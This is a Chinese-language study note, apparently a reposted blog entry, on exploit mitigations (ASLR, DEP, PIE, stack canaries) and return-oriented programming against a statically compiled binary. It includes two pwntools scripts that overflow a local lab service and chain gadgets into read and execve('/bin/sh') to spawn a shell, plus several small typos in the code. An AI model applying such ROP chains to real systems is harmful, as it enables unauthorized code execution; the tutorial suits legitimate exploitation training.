Pwn_6 ROP(1)静态编译

Protection

    • ASLR
    • DEP
    • PIE
    • StackGuard

 

ASLR

地址随机化

Address Space Layout Randomization,程序每次执行时,stack、heap、library的位置都不一样

$:ldd /bin/lib ldd命令 查看当前的binary用了哪些library

检查是否开启ASLR

 

DEP

data execution prevention数据执行保护,又称为NX

可写的不能执行,可执行的不可写

PIE

地址无关可执行文件

Stack Guard

编译器对stack overflow的一种保护机制,可以有效的防止缓冲区溢出攻击

 image


ROP(Return Oriented Programming)是一种利用现有的程序片段组合出想要功能的技巧

可以使用ROP解除DEP限制,然后执行shellcode

可以使用ROP绕过ASLR限制、StackGuard和PIE

Q:如何查看有哪些保护 gdb checksee.sh

ROP

Gadget:一小段以ret结尾的code       ROP Chain:串联在一起的Gadget,组合出需要的功能

使用ROP的关键

  • 查找gadget
  • 排列组合gadget

ROP类型

  • 控制寄存器做syscall   //给eax ebx ecx edx这些参数赋值
  • 使用原有程序里的function
  • 使用libc里的gadget或者function (绕过ASLR)

ROP

查找ROP

  • ROPgadget --binary ./shellcode
  • ROPgadget --binary shellcode ./shellcode
  • ROP

我们要找的代码是 ①pop eax ②2  把当前栈底的值给eax,即eax=2

运行它

IDA分析它 或者objdump –d –M intel ./file


image

ROPgadget –binary ./shellcode > shellcode.txt #将gadget输出到文本

查找pop eax ; ret ebx/ecx/edx…

read 函数 eax =3 ebx=0 ecx=一段可写的区域 edx=读取的大小

如何寻找可写的区域?

image./file &返回后台执行的id

然后cat /proc/id/maps

第一段是读-执行段

第二段是读-写段 获得080ee000   不要看下面的heap那些

from pwn import *


r = remote('127.0.0.1',4000)

pop_eax_ret = 0x080b90f6
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080595b3
pop_edx_ret = 0x0806e7da

buf = 0x080ee000 - 100
rop = [#堆栈情况
    
     pop_eax_ret,
     3,
     pop_ebx_ret,
     0,
     pop_ecx_ret,
     buf,
     pop_edx_ret,
     50,
     0xdeedbeef,
    
    
]

r.sendline('a'*22 + flat(rop))

r.interactive()

image

然后找完eax,ebx,ecx,edx后 寻找int 0x80 ; ret

没有怎么办?

ROPgadge –binary rop –opcode cd80c3

image获得0x0806ef00

imageread函数读到80edf9c,双击这个地址即可看到输入的/bin/sh

然后写执行函数

eax=0x0b  ebx要执行的命令 放在buf里的/bin/sh ecx/edx赋值为0

如果不放int_0x80_ret,堆栈排列的再好也不会生效


总结

 

  1. ROPgadget –binary ./shellcode > shell.txt
  2. 在gadget查找有用的,如pop eax ; ret | pop ebx ; ret |int 0x80 ; ret (或者ROPgadge –binary rop –opcode cd80c3 )
  3. 查找可写入的缓冲区:方法是 ./rop & 查看进程id ,然后cat /proc/id号/maps 获得可写段 然后倒着-多少
  4. 最后在堆栈的排布上要写int_0x80_ret 否则程序无法执行
  5. pop edx; pop ecx;pop edx;入栈顺序为先写edx,再写入ecx,最后写入ebx

from pwn import *


r = remote('127.0.0.1',4000)

pop_eax_ret = 0x080b90f6
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080595b3
pop_edx_ret = 0x0806e7da
buf = 0x080ee000 - 100
int_0x80_ret = 0x0806ef00
rop = [
    
     pop_eax_ret,
     3,
     pop_ebx_ret,
     0,
     pop_ecx_ret,
     buf,
     pop_edx_ret,
     50,
     int_0x80_ret,
     pop_eax_ret,
     0xb,
     pop_eax_ret,
     0xb,
     pop_ebx_ret,
     buf,
     pop_ecx_ret,
     0,
     pop_edx_ret,
     0,
     int_0x80_ret
    
]

r.sendline('a'*22 + flat(rop))

sleep(2)

r.sendline('/bin/shx00')

r.interactive()

原文地址:https://www.cnblogs.com/rookieDanny/p/8463597.html